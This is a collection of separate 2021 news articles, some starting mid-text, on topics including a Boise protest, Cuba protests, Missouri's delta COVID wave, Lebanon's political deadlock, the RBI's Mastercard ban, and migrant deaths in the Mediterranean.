Chants of Justice for Mohamud! in both English and Kizigua, a native tongue of the Somali Bantu, met passersby on Capitol Boulevard, while a half-dozen police on motorcycles and bicycles sat idle across from City Hall.

A small protest of the shooting took place outside City Hall last Tuesday as well, conducted by the Black Lives Matter Boise Chapter. Members of the Bantu community did not attend. That rally also drew counterprotesters, some of whom waved pro-police flags and many of whom were armed, but there was no counterprotest this week.

Following a large rally at the Idaho Statehouse to honor George Floyd in early June 2020, City Hall was the site of numerous protests last summer, some more tense and one that included reports of assaults on Black Lives Matter protesters. One demonstration led to police issuing at least one arrest warrant and publishing photos of persons of interest who were accused of assaulting protesters. A large group of counterprotesters included some people who shouted slogans commonly used by white supremacist and neo-Nazi groups.

Subsequent protests at City Hall featured additional preventative measures by police, such as barricades, as well as demonstrators moving protests to other parts of the city to reduce the chance of conflicts.

Boise Police said in an emailed statement to the Idaho Statesman on Tuesday ahead of this protest that officers would be monitoring this demonstration and providing extra patrols. At this time, there are no planned road closures, but officers will be available if temporary closures are needed for public safety.

The department said it always will work to make sure people have a safe way to exercise their First Amendment rights.

Boise Police will need to answer these questions about shooting to maintain public trust

Heres what a Boise refugee community wants after meetings with mayor, police chief
Kaiser Permanente is donating $100,000 each to three Hawaii organizations to support their ongoing work to address hate crimes and related incidents within their communities.



Joint project: The funding is part of the Stop Anti-Asian Hate and Violence Initiative, which the health care provider established this month with non-profit Asian Americans Advancing Justice (AAJC) in Washington, D.C., reported the Honolulu Star-Advertiser.



The collaboration aims to distribute $3.6 million to 33 organizations from the Asian, Native Hawaiian and Pacific Islander communities.

Kaiser and AAJC have identified three strategies to stop racist acts, provide interventions and promote healing in affected communities.

The initiative prioritizes funding for "community education, mobilization, and coalition-building; direct services, mental health, and organizational sustainability; and advocacy and organizational leadership."



Multi-pronged approach: In Hawaii, $300,000 will be equally distributed among a nonprofit supporting Micronesian and Pacific Island communities, an organization that fights against domestic violence and another group that empowers the community through education.



We Are Oceania (WAO) will use the funds to offer acculturation training for service providers to improve the way they work with the Micronesian community. It will also help the Youth Empowerment Services Center provide information on internships, financial literacy and college preparation.

Domestic Violence Action Center (DVAC) will fund community outreach and educational programs to increase awareness of violence against women and children in the COFA community.

Pacific Resources for Education and Learning (PREL) will use the funding to conduct research on the local Micronesian/Marshallese communities and determine their main needs.



In addition to Hawaii, the Stop Anti-Asian Hate and Violence Initiative will extend support and disseminate funds to AAPI organizations in Northern California, Southern California, Colorado, Georgia, Northwest, Washington and the Mid-Atlantic States. This month, Kaiser pledged $100,000 each to nine groups in Northern California, NextShark previously reported.



Featured Image via Star-Advertiser

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Standing in front of the statue of Cuban national hero Jose Marti and a Cuban flag at half-staff, Democratic U.S. Rep Kathy Castor called for the United States to encourage a peaceful transfer of power on the communist-run island.

Castor joined fellow Democrats state Sen. Janet Cruz, Tampa City Council member Luis Viera and Hillsborough County Tax Collector Nancy Millan at a press conference Wednesday morning in Tampas Jose Marti Park to express support for people in Cuba and in Florida protesting the Cuban regime.

Castor called out Cubas communist government, saying the Cuban people dont have adequate access to food, medicine or basic necessities.

The United States of America should stand with the people of Cuba now to encourage and work for that peaceful transfer of power, Castor said. We need to lead the countries in the Western Hemisphere.

Castor said she hopes President Joe Bidens administration will apply diplomatic pressure to the Cuban government. Castor, parting with some politicians like Miami Mayor Francis Suarez, argued that U.S. military intervention in this situation would only bring greater injury and death.

Cruz, D-Tampa, emphasized the necessity of peace  especially for protesters in Tampa. She mentioned Floridas new anti-riot law that was pushed by Gov. Ron DeSantis following protests last year in the wake of the death of George Floyd at the hands of police.

Cruz, who voted against the bill, said she urges people to stay out of the street to avoid arrest. She sidestepped a question about whether she thought DeSantis was applying a double standard in his views of the Cuba protests now compared to police brutality protests that erupted last summer.

The outrage here is not new, Cruz said. Cubans have been tired for decades, but this moment right now is absolutely historical, Cruz said.

Millan, whose parents are Cuban immigrants, said as a daughter of Cuba, the issue goes beyond political parties, and that supporting the protest movement is something all could unite on.

Viera, a city councilman and Cuban American, said hes introduced a resolution to call for Tampa to unequivocally support the fight of Cuban protesters. The resolution will be voted on Thursday.

People can disagree on the means to the ends of how to get there, Viera said. But I think that on the ultimate end, that the people in the streets are fighting for and dying for and being attacked for, good Americans and certainly good Tampenos have got to have the backs of people in the streets in Cuba.
The coronavirus is once again surging in Missouri, due in part to the spread of the delta variant and hesitancy of many to get vaccinated.

Heres what we know about this new wave of COVID-19:

Delta variant in southwest Missouri

The city of Springfield has reached a record number of coronavirus patients in critical care and on ventilators, officials wrote late Monday.

Springfield, in southwest Missouri, has been a recent focal point for what can happen when the highly contagious delta variant spreads through an area where the majority of the population is unvaccinated.

As of Tuesday, 42.5% of the adult population of Greene County, where Springfield is located, had been fully vaccinated, according to the Centers for Disease Control and Prevention. Nationwide, nearly 59% of the adult population has been fully vaccinated.

As of Tuesday, Missouri had the fourth-highest rate of new cases per capita, according to data compiled by The New York Times, and among the lowest adult vaccination rates among all states.

Kansas City area vaccination rates

Some counties in the Kansas City metro area have even lower COVID-19 vaccination rates than the Springfield area.

Kansas City, as of Tuesday, has the sixth highest vaccination rate in the state at 43.8% which is followed by Jackson County at 41.9%.

But surrounding areas in the metro are far lower: Platte County sits at 30.6% while Clay County is at 35.3% and Cass County is at 35.7%.

Health care experts in southwest Missouri have issued warnings about the delta variant while pleading for people to get immunized.

Whats Missouri government doing about it?

As Springfield hospitals treat a growing wave of COVID-19 patients, Gov. Mike Parson on Tuesday implicitly attacked one of the citys major hospital operators for announcing that it will require its employees to be vaccinated.

The Republican governor said COVID messaging coming from southwest Missouri amounted to a blame game. He warned health officials against scaring residents into getting vaccinated.

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Parson said last week that Missouris health care system remains stable. Asked on Tuesday about the basis for his statement, given the problems in Springfield, the governor said officials examine data every day and are in discussions with the Missouri Hospital Association.

Parson hasnt used the same alarmed language of senior officials elsewhere to prompt residents to get shots. Instead, he has highlighted data points such as the higher rates of vaccination among seniors. His agitated response to the arrival of federal assistance that his administration requested provoked a rebuke from the White House. This past week, he stressed the state is not in crisis mode.

Kansas City metro hospital capacity

Health care officials in the Kansas City region are bracing themselves for another wave of COVID-19 infections as the delta variant spreads and vaccine rates stagnate.

Steve Hoeger, Missouri co-chair of the Mid-America Regional Council Health Care Coalition, is part of a team that monitors data from across the metro hospitals, tracking trends, resources and capacities.

He said though the metro area is still well below the peak cases seen during the worst of the pandemic, the past month has seen a steady upward trend In COVID patients across the regions hospitals.

Unlike last year, he said, beds are already filled as hospitals see an influx of trauma patients (including victims or violence and vehicular accidents) as well as patients who got sick after delaying routine healthcare over the past year because of the pandemic.

Should you be wearing your mask?

The WHO has urged governments not to lift pandemic restrictions too quickly  including saying everyone, even the vaccinated, should continue to wear masks given that the delta variant spreads more easily and no vaccine is 100% effective.

In the U.S., the CDC maintains it still is safe for the fully vaccinated to go without a mask. But theres no way to know if maskless people really are vaccinated and local governments can set tighter guidelines. With the delta variant spreading locally, health officials in Los Angeles County said they still recommend masks indoors in public places for everyone.

Missouri added to Chicago travel advisory list

The Chicago Department of Public Health added Missouri to its Travel Advisory list Tuesday amid an increase in COVID-19 cases in some regions of the country, after several weeks with no states on the list.

In a statement the department said the change came as Missouri passed the mark of 15 cases per day, per 100,000 residents as of July 12. People traveling from those states are advised to get a negative COVID-19 test no more than 72 hours before arrival, or quarantine for 10 days upon arrival, the travel advisory states.

What questions do you have as COVID variants spread in Missouri?

Our neighbors in southwest Missouri are battling the new COVID-19 delta variant at an exorbitant rate  a hospital ran out of ventilators, cases and deaths are on the rise.

We think its important to get you the information you need to live safe, healthy lives. When the pandemic first hit Missouri last spring, we answered your questions about masks, stay-at-home orders, stimulus checks and more.

With a new wave of coronavirus concerns, we want to extend the same service. We might not know all the answers  but well do the lifting to find as many as we can.

Ask us your most pressing questions about the variant, how to stay safe or what you dont understand  ask in the module below or email Savanna Smith at sasmith@kcstar.com.
By Maha El Dahan and Laila Bassam

BEIRUT (Reuters) -Lebanon's prime minister-designate Saad al-Hariri has presented a new cabinet proposal to President Michel Aoun and said he was awaiting his response on Thursday in a move that could end nine months of deadlock as the country faces economic collapse.

Veteran Sunni politician Hariri has presented multiple proposals to Aoun, an ally of Iran-backed Shi'ite group Hezbollah, over the past months, but they have been unable to agree on a list.

"Now is the moment of truth," Hariri, who has been at loggerheads with Aoun over the naming of ministers since he was appointed in October, told reporters on Wednesday after the meeting.

Aoun said in a statement he would study the proposal that contained "new names and a new distribution for portfolios and sects from what was previously agreed" to reach a decision.

The proposal is for 24 specialist technocrat ministers, in line with a French initiative that envisioned a government capable of enacting reforms that could unlock much needed foreign aid to rescue the nation.

The previous proposals have also been for a technocrat team belonging to different sects. It was not immediately clear specifically how the new line-up differed or what would happen if Aoun rejected it.

However, Wednesday's proposal is seen as Hariri's last attempt to form a cabinet as he was widely expected to give up on his efforts after a trip to long-time backer Egypt.

Saudi-owned Al Hadath television reported earlier that Cairo had asked him not to stand down, citing its own sources.

Sources in Cairo said Egypt had promised economic and political support for a new government and that a delegation would travel to Beirut soon.

If the cabinet were rejected and Hariri quit, it would leave the country having to seek another Sunni willing to replace him.

Under a sectarian power-sharing system, Lebanon's president must be a Maronite Christian and the prime minister a Sunni Muslim. With less than a year to an anticipated parliamentary election, few figures might be willing to step forward.

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Lebanon has been without a government since the last one resigned in the aftermath of the Aug. 4 Beirut port blast that killed more than 200 people, injured thousands of others and destroyed swathes of the city.

The deadlock has deepened the financial crisis, dubbed by the World bank as one of the deepest depressions of modern history.

"For me this government can start to rescue the country and stop the collapse," Hariri said.

(Reporting by Beirut Bureau, Writing by Maha El Dahan;Editing by Alison Williams)
BEIRUT (AP)  Lebanons president said Wednesday there would be no political cover for anyone implicated in last years massive explosion at the Beirut port, speaking a day after protests erupted over the handling of the investigation.

The blast on Aug. 4 was caused by the ignition of hundreds of tons of ammonium nitrate, a highly explosive fertilizer that had been stored for years there with the knowledge of top government officials. The explosion killed over 200 people, injured hundreds more and devastated nearby Beirut neighborhoods.

It's still unclear what exactly caused the explosion, and an investigation by a state-appointed judge has been riddled by charges of political interference. The delays have frustrated the public, particularly amid reports that most of Lebanon's leadership, including the president, knew of the explosives at the port.

The hours-long protests Tuesday outside the house of caretaker Interior Minister Mohamed Fehmi were sparked by his rejection of a request by the new lead investigator to remove immunity for one of the most senior security officials accused in the port case, general security chief Abbas Ibrahim, allowing him to be questioned. The protesters saw Fehmi's move as an obstruction of the probe.

Families of the victims and explosion survivors held a mock funeral while protesters scuffled with members of the security forces guarding the building, who fired tear gas to disperse the crowd. Dozens were lightly injured on both sides.

Amnesty International urged Lebanese authorities to lift immunities granted to all officials, saying that an impartial investigation is essential for a better future in a country with a history of entrenched impunity.

The protesters demand is simple: let justice take its course, said Lynn Maalouf, Amnesty's deputy regional director. Any failure to do so is an obstruction of justice."

President Michel Aoun said Wednesday the investigation is ongoing and that there will be no political cover for anyone who was negligent or guilty. However, he did not address critics who said that Fehmi obstructed the investigation.

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Aoun's comments came during a meeting with Patrick Durel, French President Emmanuel Macron's envoy.

Aoun also approved Aug. 4 as a day of mourning, declaring it a national holiday. Families of the victims have been campaigning for this recognition.

Lebanon is in the throes of the country's worst economic crisis but the political leadership has been unable to form a government to lead negotiations with the International Monetary Fund for a recovery package.

The caretaker government resigned after the port explosion. Prime Minister-designate Saad Hariri has been unable to agree with Aoun on a Cabinet line-up and French and local efforts have failed to bridge their differences.

Hariri met Wednesday with Aoun in renewed efforts to resolve the political deadlock and following a quick trip to Cairo, a close ally. He proposed a new 24-minister Cabinet and said he expects a response from Aoun by Thursday. There were reports this was a last-ditch effort before Hariri steps down.

We have entered the ninth month trying to form a government," he said after the meeting. Now is a time for the truth.
Kanabo CEO Avihu Tamir. Photo: Kanabo

Kanabo (KNB.L), the first cannabis business to float on the London Stock Exchange, is ready to ship the UKs first medical cannabis product in the form of vaping cartridges as it moves one step closer to establishing the country as Europe's medical marijuana hub.

The first formulation that will be available is for patients who use cannabis for pain management, and CEO Avihu Tamir told Yahoo Finance UK it's a great alternative for those who are trying to withdraw from opioids, which have got a bad rap for their addictive nature.

In the near future the company is hoping to launch a formula that can be used for mental health issues, especially for those using drugs such as Xanex and Valium.

The medicinal cannabis cartridges will be available soon for UK patients. The first order is expected to arrive to the UK next week and will be distributed under the brand name NOIDECS.

The cartridges can only be used with Kanabo's VapePod device, which costs about 50 ($69). The price of the cartridges will vary by clinic.

Kanabo has partnered with LYPHE Group, whose UK ecosystem includes The Medical Cannabis Clinic and Dispensary Green. For now only patients at these clinics can access the new products.

Kanabo is set to deliver the UK's first medical grade cannabis extract vape formulas. Photo: Kanabo

CEO Avihu Tamir told Yahoo Finance UK this is a major milestone not just for the company but for the European cannabis industry.

This is the first time this type of technology is available in the medical market outside of North America, he said.

He explained that currently patients in the UK can use cannabis in two forms: oral consumption or smoking marijuana flowers. While the first is preferred by physicians, patients dont like it because there is no guarantee of how long it will take to have an effect, or how long the impact will last. There is also a risk of overdose, he said.

Patients prefer smoking, but physicians dont recommend this. This is where VapePod comes in.

Read more: London's first cannabis IPO sees shares double on debut

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"Its the first device to have a metered dose so a physician can prescribe a specific dose just like they would for a pill, said Tamir, adding that for the patients it mimics all the benefits of inhalation.

Vaping means a faster onset of the effects of the drug, as well as high bioavailability, which means the time it takes for the drug to reach a patients blood stream is five times more effective compared with pills

Avihu said that cartridges are the fastest-growing segment of the cannabis industry in North America, which is worth close to $20bn.

Cartridges "sell more than pills, tinctures, drinks and edibles. All of them together aren't close to the sale of vape cartridges," he said.

He is therefore expecting this category to be "significant in the UK."

He added that in countries like Germany, where the cannabis industry is reaching a 1bn (850m, $1,2bn) valuation, some 1% of the population has been prescribed cannabis, while the UK lags far behind.

He believes the benefits to the healthcare system as well as the UK economy are huge.

Kanabo went public in February this year. It said the VapePod is an example of its "fully operational supply, production and distribution".

Watch: Am I wasting my money by renting?
By Nancy Lapid

(Reuters) - Here is a roundup of some of the latest scientific studies on the novel coronavirus and efforts to find treatments and vaccines for COVID-19, the illness caused by the virus.

Lung diseases worsen COVID-19 by altering airway genes

New findings shed light on why chronic lung diseases that block the airways - such as chronic bronchitis, emphysema and pulmonary fibrosis - increase patients' risks for severe COVID-19. The diseases cause genetic changes in the epithelial cells that line the airways, making the cells more vulnerable to attack from the coronavirus, researchers reported on Wednesday in Nature Communications https://go.nature.com/3kmjsYy. Laboratory studies of these cells found changes in their molecular makeup that likely make it easier for the virus to enter the body, make copies of itself, and trigger out-of-control immune responses that fill the lungs with fluid and cause severe organ damage. The researchers, led by Nicholas Banovich at Translational Genomics Research Institute in Phoenix, were only able to examine cells from lung-disease patients without COVID-19 but said their "study highlights crucial areas for future research."

Anemia linked with rehospitalization

Anemia, a blood disorder characterized by a low red blood cell count, should probably be added to the list of risk factors for poorer COVID-19 outcomes, according to researchers who studied 374 COVID-19 survivors who were hospitalized and then released, with tests showing the virus was gone from their systems. They found that 104 patients needed to be rehospitalized, and rates of moderate or severe anemia (as indicated by levels of hemoglobin, a protein in red blood cells that carries oxygen) were higher among the readmitted patients in the year before their COVID-19 diagnosis and while they were sick with the coronavirus. The study, published in iScience https://bit.ly/3wHhHaO, cannot prove that anemia caused or contributed to the readmissions. Still, the research team from data analytics company nference in Cambridge, Massachusetts said the "robust association" of anemia with rehospitalization calls for research into whether anemia treatments might be beneficial in some cases.

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Heart problems unlikely after mild COVID-19

Survivors of mild cases of COVID-19 do not need to be screened later for heart problems, researchers advise. They performed cardiovascular magnetic resonance imaging on 74 healthcare workers who had recovered six months earlier from mild or asymptomatic coronavirus infections, and on 75 uninfected individuals matched for age, sex, and ethnicity. According to a report published on Tuesday in European Heart Journal: Cardiovascular Imaging ttps://bit.ly/2U9Brqx, there were no differences between the survivor group and the control group in any parameters of heart structure or function or in lab tests that would suggest heart disease. The researchers, led by George Joy of Barts Heart Center in London, conclude, "Our study provides societal reassurance for the cardiovascular health of working-aged individuals with convalescence from mild SARS-CoV-2. Screening asymptomatic individuals following mild diseases is not indicated."

Variants causing more severe COVID-19 in Canada

The Alpha, Beta and Gamma variants of the novel coronavirus increased patients' risks of hospitalization and death by 60% compared to earlier forms of the virus, and the Delta variant was even more virulent, according to researchers who studied more than 211,000 patients in Canada diagnosed with COVID-19 between February and June 2021. Alpha, Beta and Gamma - first seen in the UK, South Africa and Brazil - more than doubled the risk of needing intensive care, even though the patients were generally younger and healthier than those infected earlier in the pandemic. With the Delta variant, first identified in India and now becoming dominant in many countries, "risks of hospitalization and death more than doubled, and risk of ICU admission more than tripled" compared to earlier SARS-CoV-2 strains, said Dr. David Fisman of the University of Toronto, who coauthored a report posted on Monday on medRxiv https://bit.ly/3egxgjs ahead of peer review. He told Reuters his team did find an overall downward trend in disease severity over time, likely because of vaccinations.

Click for a Reuters graphic https://tmsnrt.rs/3c7R3Bl on vaccines in development.

(Reporting by Nancy Lapid; Editing by Tiffany Wu)
Jul. 14White-tailed deer in Maine will have a greater chance of surviving severe winter conditions in the future thanks to recent measures taken by the Legislature.

The state budget has earmarked $40 million from the Land for Maine's future program, which for the next four years will help support efforts to protect deer wintering areas. And recent legislation will empower the Maine Department of Inland Fisheries and Wildlife's efforts to purchase and manage that habitat in northern, western and eastern Maine.

A bill sponsored by Rep. Chris Johansen, R-Monticello, was passed earlier this month by the state house and senate and was signed into law on July 8, by Gov. Janet Mills.

The bill, developed through the efforts of the DIF&W, the Sportsman's Alliance of Maine and other groups, authorizes the department for the first time to identify and purchase lands specifically as deer wintering areas. The department will also dedicate a biologist to manage the lands.

"We've worked for many years collaboratively with private landowners and with the Bureau of Public Lands on deer wintering area management, but have never had the ability to this point to own any of those areas ourselves and manage them with deer habitat as the highest priority," said Nate Webb, the Wildlife Division Director for the DIF&W.

The agency owns approximately 110,000 acres of wildlife habitat in the state, but those also allow public access for hunting, fishing, trapping and other recreational pursuits.

The new law directs the DIF&W to begin establishing and improving wintering areas that will directly aid in deer survival. So-called deer yards consist primarily of mature cedar, spruce, fir and hemlock trees, which provide a canopy that provides protection from predators, reduces snow depths and allows the animals to more easily browse for food.

"It will also benefit a whole host of species that use similar habitats and there'll also be benefits in terms of helping meet the state's carbon sequestration goals," Webb said.

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The DIF&W has already begun the process of mapping out its plan.

"The big challenge is always finding a parcel that meets our goals for the deer but where there's also a seller that is willing to sell the property," said Webb, who pointed to the importance of a new position created for a department biologist to oversee the program. "The vast majority of these areas are currently held by large industrial landowners in the unorganized territories."

The DIF&W also may now use some of the funds from deer tagging fees for land acquisition, in addition to habitat management, Webb said.

Deer wintering areas have been decimated over the last half-century by a combination of factors.

The spruce budworm outbreak from 1970 to 1985, for instance, wiped out 21 percent of all fir trees in the state, according to the Maine Forest Products Council. Other factors include industrial logging by the large companies and private ownership of nearly 93 percent of Maine's forest land.

Coyotes, the main predators for white-tailed deer in Maine, also have successfully adapted to winter conditions, further reducing populations.

Deer in Maine are at the extreme northern end of their range. In some parts of the state, including Aroostook County, they struggle to survive the often bitter cold and deep snow during the winter.

During a winter of average severity, deer in far northern Maine require the shelter provided by a wintering area for 90 to 125 days, according to a 2010 DIF&W report.

The budget allocations and the new law are important steps in helping preserve and restore the deer herd, according to David Trahan, the executive director of the Sportsman's Alliance of Maine and a former self-employed logger.

"There are regions of the state where sportsmen and women have seen the deer population crash because of the loss of habitat," said Trahan, a former state representative and state senator.

He said deer wintering areas, which once made up 12 percent of Maine forests, are now down to approximately 3 percent.

The Nature Conservancy and the Maine Coast Heritage Trust, in addition to the sportsman's alliance, were instrumental in backing funding from the Land for Maine's Future Program to benefit the deer wintering areas initiative and other conservation and recreation projects, Trahan said.

"I think it's pretty unique to have these groups come together and we all had our interest in seeing Land for Maine's Future funded and getting back on track," he said. "It's a pretty big deal."

Webb said the DIF&W wants to be able to establish deer wintering areas in some places where they have existed traditionally, but also hopes to decrease the animals' reliance on food being provided by residents in some towns.

Feeding operations that include numerous troughs filled with food lure many deer out of the woods, which can lead to increased vehicle collisions, the threat of disease transmission and dietary issues.

"Our belief is that getting back to a situation where we have deer wintering out in traditional areas, away from people, does have benefits," Webb said. "It wouldn't do much good to have a good-quality deer wintering area when, a few miles up the road, there's a significant feeding effort underway."

Webb also stressed the importance of having an ongoing predator management program to actively control coyotes in wintering areas as needed.

Webb's excitement about the potential for the success of the deer wintering areas program is tempered by the reality that the habitat can't be reestablished overnight.

The land acquisition process will take time, especially on the scale being discussed. And it requires approximately 35 years for trees to reach a size and height needed to provide shelter.

"The first step is the most important one. We don't expect there's going to be immediate results, but this is a long-term effort and we do believe this bill will really help us get where we think we need to be," Webb said.
Mankato will keep its status as a metropolitan statistical area (MSA), as the Biden administration has reversed a plan to downgrade Mankato and 143 other U.S. cities to "micropolitan" areas. The Grand Forks, N.D., and East Grand Forks, Minn., area also stood to lose its MSA status under the proposal.

U.S. Sen. Amy Klobuchar, D-Minn., led resistance to the plan, rounding up 21 other senators to express concerns about the damage it could cause to cities that often are the largest communities in rural areas.

"I look at it this way: A town like Mankato is regional metropolitan hub," Klobuchar said in an interview. "For that region, it's really important to have a town that isn't downgraded.

"It was more meaningful than just 144 towns," she added. "It was about regional economies."

Klobuchar noted that many federal programs use the MSA designation as a baseline to determine funding. Cities that are downgraded could lose access to federal money for transportation, health care and other social services.

The new plan would have required an urban core of at least 100,000 residents to qualify as an MSA, rather than the current benchmark of 50,000 residents.

The Mankato and North Mankato area, with a core population of about 61,000, would have fallen into a tier of smaller Minnesota cities including Brainerd, Red Wing, Fergus Falls, Fairmont and a dozen others.

Other cities in the Upper Midwest that stood to lose MSA status included Bismarck, N.D.; Rapid City, S.D., and Ames, Iowa.

"It's excellent news, not just for Mankato, but for similar cities all over," said Paul Vogel, Mankato's director of community development. "It will preserve our status as a metropolitan area and will continue our access to those federal funds that make a positive difference in our community and our region."

Vogel noted that many companies use MSA databases in deciding where to locate or expand facilities. The loss of MSA status could result in Mankato being left out of consideration, even though the region has seen stronger growth in the past decade than many larger areas.

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As technology and the COVID-19 pandemic have made remote work more attractive, it's important not to discourage people from settling in rural areas, many of which have seen declining populations in recent decades, Klobuchar said.

"We actually want to encourage people to locate and stay in rural areas of our state and country," she said. "It's less expensive and it's good for developing new ideas.

"You don't want to stop that."

John Reinan  612-673-7402
India's central bank Wednesday banned global payments giant Mastercard from adding new customers starting next week, in an escalation of a long-standing dispute on local data storage rules.

The Reserve Bank of India (RBI) found Mastercard to be in violation of its April 2018 circular that directed all payments data be stored exclusively in India, allowing the regulator "unfettered supervisory access" to transaction details.

Global payments service providers like Mastercard, Visa and American Express have lobbied against data localisation, citing increased costs.

"Notwithstanding (the) lapse of considerable time and adequate opportunities being given, the entity (Mastercard) has been found to be non-compliant with the directions of Storage Payment System Data," the RBI said in a notification.

Mastercard will be indefinitely blocked from issuing debit, credit or prepaid cards to customers in India from July 22.

The central bank said existing Mastercard customers would not be affected.

Mastercard did not immediately respond to queries from AFP.

Last year, Mastercard accounted for 33 percent of all card payments in India according to London-based payments startup PPRO.

American Express and Diners Club International were also indefinitely barred by the RBI from issuing new cards to customers from May for the same reasons.

Global payments card companies have faced increasing competition from India's United Payments Interface (UPI) transactions that offer card-less and cashless payment options using phone numbers and QR codes.

A record 2.8 billion UPI transactions worth some 5.5 trillion rupees ($73.8 billion) took place in June.

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Former Fox News host Megyn Kelly met fierce backlash Tuesday after she accused the media of exaggerating the deadly Jan. 6 riot at the U.S. Capitol, falsely claiming it wasnt an insurrection.

Kelly made the comment during her Monday podcast episode with guest Chrissie Mayr, a comedian who attended Donald Trumps Jan. 6 rally in Washington, D.C. Mayr characterized it as the most chill thing ever. People had blankets and picnics and families.

Kelly interrupted to recognize that a faction turned, but added that there is no question the media represented it as so much worse than it actually was.

Weve all seen the video of people like screaming in the face of cops, being totally disparaging, and defecating on the floor of the U.S. Capitol, she said.

Lawmakers were understandably afraid. Not like AOC I need therapy for the rest of my life afraid, Kelly added disparagingly of Rep. Alexandria Ocasio-Cortez (D-N.Y.), who revealed in May that she was going to therapy after she hid for hours, fearing for her life as rioters tore through the building.

Megyn Kelly claimed there is no question

Kelly added that the whole crowd of Trump supporters was tarred by the actions of, like, some losers that went another way on Jan. 6.

Those losers were not some, but in the hundreds and possibly thousands. The FBI has arrested more than 500 people in connection to the riot, with many more arrests still expected. There were approximately 140 police officers injured in the carnage as Trump supporters breached police lines, stormed the Capitol and ran amok inside, damaging and stealing property.

Videos show police being beaten and electroshocked and assaulted with other weapons. Rioters were seen on camera chanting Hang Mike Pence. The mob bore far-right extremist symbols and signs saying Trump won as they stormed the building to stop the certification of Joe Bidens election victory. There were at least five deaths in connection with the riot.

Much of this was streamed and posted online for the world to see.

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But according to Kelly, who recently signed a deal with SiriusXM to host a radio show, it wasnt an insurrection. It wasnt.

Trump and his conservative allies have increasingly sought to rewrite history in the wake of the attack. Over the weekend, six months since it took place, Trump fully embraced the rioters, calling them great people.

Kellys decision to join the fray was met with disgust online.

Rep. Ted Lieu (D-Calif.), who served as an impeachment manager following the attack, asked her, Why are you downplaying Jan 6?

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Activist Malynda Hale said it was right on brand for Kelly, who once infamously argued that both Santa and Jesus were white.

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See some more of the reaction below.

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This article originally appeared on HuffPost and has been updated.
The Miami area has long been home to the largest Cuban exile community and a focal point for anti-Castro sentiment.

The South Florida demonstrators sought to replicate the protests by thousands of Cubans on Sunday who denounced a deep economic crisis, shortages of basic goods and power outages in the largest showing of unrest in decades.

Dozens of demonstrators shut down the Palmetto Expressway for several hours.
Miami Mayor Francis Suarez Joe Raedle/Getty Images

Miami's Republican mayor said the US should consider taking military action against Cuba.

His comments came as Cuba saw mass anti-government protests this week.

The US has a poor track record when it comes to military operations against the Communist regime.

See more stories on Insider's business page.

Miami Mayor Francis Suarez on Tuesday suggested that the US should explore the option of air strikes against Cuba.

"What should be contemplated right now is a coalition of potential military action in Cuba," Suarez, a Republican, said in comments on Fox News. Suarez, whose father was born in Cuba and was formerly mayor of Miami, pointed to US interventions in Panama and Kosovo as potential models to follow.

When asked if he was calling for air strikes in Cuba, Suarez said, "What I'm suggesting is that option is one that has to be explored, and one that cannot be just simply discarded."

Between the disastrous Bay of Pigs invasion and CIA-supported assassination attempts on Fidel Castro, the US has a poor track record when it comes to mounting successful military or covert operations against Cuba's Communist government.

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Suarez's remarks came after Cuba on Sunday saw the largest anti-government protests in years, with thousands demonstrating against a lack of freedoms and a growing economic crisis under Cuban President Miguel Diaz-Canel and the Communist regime. South Florida has the largest population of Cuban Americans in the country, and Miami in recent days has seen demonstrations in solidarity with the anti-government protestors in Cuba.

President Joe Biden on Monday said the US fully supports the protestors, but his administration is facing pressure on both sides of the aisle to do more.

While Republicans urge Biden to take a more hardline stance against Cuba's authoritarian government, a number of Democrats have called for the decades-old embargo to be lifted and for the president to rescind Trump-era sanctions and restrictions that have contributed to medicine and food shortages in the island nation.

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Former President Donald Trump reversed the Obama administration's efforts to open up diplomatic and economic relations with Cuba, tightening the embargo that has been the centerpiece of US policy for six decades.

Suarez on Tuesday defended the embargo, saying: "I don't think the embargo is cruel at all. I think the Cuban people aren't asking for a lifting of the embargo. They're going out on the streets every single day talking about the failure of the communist regime to provide for its people ... It has failed for six decades."

Critics of the US embargo on Cuba contend that it's failed to foster democratic changes, hurts the Cuban people, and has for years served as a convenient scapegoat for the failings of the Communist government.

In 2016, then-President Barack Obama called on Congress to lift the embargo.

"It is an outdated burden on the Cuban people," Obama said during a visit to Havana. "It's a burden on the Americans who want to work and do business or invest here in Cuba. It's time to lift the embargo."

But Biden's policy toward Cuba so far has been cautious, and has effectively marked a continuing of Trump's approach to the island nation.

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LONDON  The number of migrants, asylum seekers and refugees who have died while attempting to reach Europe by sea has more than doubled so far this year, according to a new report from the United Nations migration agency.

In the first six months of 2021, at least 1,146 people lost their lives while risking the journey to European shores, according to the International Organization for Migrations report.

The death toll represents a rise of 123 percent compared with the same period last year, when the IOM recorded 513 deaths. Coronavirus restrictions enforced in early 2020 could explain some of the rise.

But the number of people who died while attempting to cross the Mediterranean so far this year  896  has already surged past the 615 who died in the same time frame in 2019, and the 389 who died in 2020.

The IOM has warned that the death toll for all three years is likely much higher, with many shipwrecks going unreported or proving difficult to verify.

We believe that the number of deaths is much higher than officially reported, IOM spokesperson Safa Msehli told NBC News. There are so many reports of invisible shipwrecks  when a boat goes missing with no news.

Just a few weeks ago, we recorded at least 14 bodies washing ashore in Libya without knowing exactly what tragedy had occurred and where. So thats the most alarming part.

According to IOM, the central Mediterranean route between Libya and Italy proved to be the deadliest this year, with 741 people perishing at sea.

At least 250 people died while traveling across the Atlantic Ocean between West Africa and Spains Canary Islands and at least 249 lost their lives on the Western Mediterranean route to Spain.

Meanwhile, at least six people died on the Eastern Mediterranean route to Greece, the IOM said.

Many of those deaths, Msehli said, could have been avoided with stronger action from European nations.

In particular, Msehli said there needs to be an European Union-led search and rescue effort, as well as greater support for rescue operations run by non-governmental organizations (NGOs).

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She further said that creating safe and legal pathways to Europe and cracking down on human trafficking and smuggling groups would also be critical to preventing deaths at sea.

Download the NBC News app for breaking news and politics

Duccio Staderini, head of search and rescue operations for Medecins Sans Frontieres, said rescue ships run by NGOs are being targeted more by authorities in southern Europe than before.

Speaking from on-board the Geo Barents  a Medecins Sans Frontieres-run search and rescue vessel that was recently seized by Italian authorities following an inspection  Staderini said Italy, in particular, has seen the number of rescue ships detained over recent years had increased, bringing life-saving operations to a halt at times for months, if not longer.

There is a very strong criminalization of search and rescue activities in southern Europe nowadays. After working in this sector close to 25 years, I was not expecting to be in the situation of being criminalized in Europe and this is very shocking, he said.

In a statement shared with Italian broadcaster Sky TG24 shortly after the Geo Barents was detained, the Italian Coast Guard said the ship was held after an inspection revealed "several irregularities," including not having enough life-saving equipment on board to accommodate the potential hundreds who could be brought aboard the ship.

Staderini said that MSF is working to address the issues raised by the Coast Guard, but warned that the delay could come at the cost of lives at sea.

